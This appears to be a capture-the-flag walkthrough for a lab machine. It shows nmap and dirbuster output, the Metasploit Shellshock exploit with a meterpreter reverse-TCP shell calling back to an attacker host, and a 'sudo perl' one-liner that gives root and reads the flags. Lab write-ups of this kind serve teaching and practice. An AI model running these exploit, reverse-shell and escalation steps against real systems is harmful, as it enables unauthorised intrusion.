



By YMTzioni

Nmap:

Target: 10.10.10.56

Command: nmap -T4 -A -v 10.10.10.56

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

OS	Host	Port	Protocol	State	Service	Version
✓	10.10.10.56	80	tcp	open	http	Apache httpd 2.4.18 ((Ubuntu))
✓		2222	tcp	open	ssh	OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

10.10.10.56/ x +

← → ↺ 🏠 ⓘ 10.10.10.56

**Don't Bug Me!**



Dirbuster:

[“http://10.10.10.56:80/”](http://10.10.10.56:80/)

Found this:

http://10.10.10.56:80/

Scan Information Results - List View: Dirs: 0 Files: 0 Results - Tree View Errors: 0

Directory Structure	Response Code	Response Size
/	200	395
cgi-bin	403	466
icons	403	464

http://10.10.10.56:80/cgi-bin/

Scan Information Results - List View: Dirs: 0 Files: 1 Results - Tree View Errors: 0

Directory Structure	Response Code	Response Size
cgi-bin	???	???
user.sh	200	141

We will use user.sh to exploit

After web search I've found this exploit:

“exploit/multi/http/apache\_mod\_cgi\_bash\_env\_exe” for Metasploit

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/apache_mod_cgi_bash_env_exe	2014-09-24	excellent	Yes	Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)

Module options (exploit/multi/http/apache\_mod\_cgi\_bash\_env\_exe):

Name	Current Setting	Required	Description
CMD_MAX_LENGTH	2048	yes	CMD max line length
CVE	CVE-2014-6271	yes	CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER	User-Agent	yes	HTTP header to use
METHOD	GET	yes	HTTP method to use
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.10.10.56	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPATH	/bin	yes	Target PATH for binaries used by the CmdStager
RPORT	80	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
TARGETURI	/cgi-bin/user.sh	yes	Path to CGI script
TIMEOUT	5	yes	HTTP read response timeout (seconds)
URIPATH		no	The URI to use for this exploit (default is random)
VHOST		no	HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST	10.10.14.9	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Linux x86

User flag:

Listing: /home/shelly

Mode	Size	Type	Last modified	Name
100600/rw-----	0	fil	2017-12-24 21:44:05 +0200	.bash_history
100644/rw-r--r--	220	fil	2017-09-22 19:33:54 +0300	.bash_logout
100644/rw-r--r--	3771	fil	2017-09-22 19:33:54 +0300	.bashrc
40700/rwx-----	4096	dir	2017-09-22 19:35:28 +0300	.cache
40775/rwxrwxr-x	4096	dir	2017-09-22 22:49:12 +0300	.nano
100644/rw-r--r--	655	fil	2017-09-22 19:33:54 +0300	.profile
100644/rw-r--r--	66	fil	2017-09-22 22:43:04 +0300	.selected_editor
100644/rw-r--r--	0	fil	2017-09-22 19:35:31 +0300	.sudo_as_admin_successful
100444/r--r--r--	33	fil	2021-02-23 12:22:23 +0200	user.txt

meterpreter > cat user.txt

Getting root:

Use "shell"

Than use "sudo perl -e 'exec "/bin/sh";'"

```
sudo perl -e 'exec "/bin/sh";'
whoami
root
```

Root flag:

```
cd root
ls
root.txt
cat root.txt
```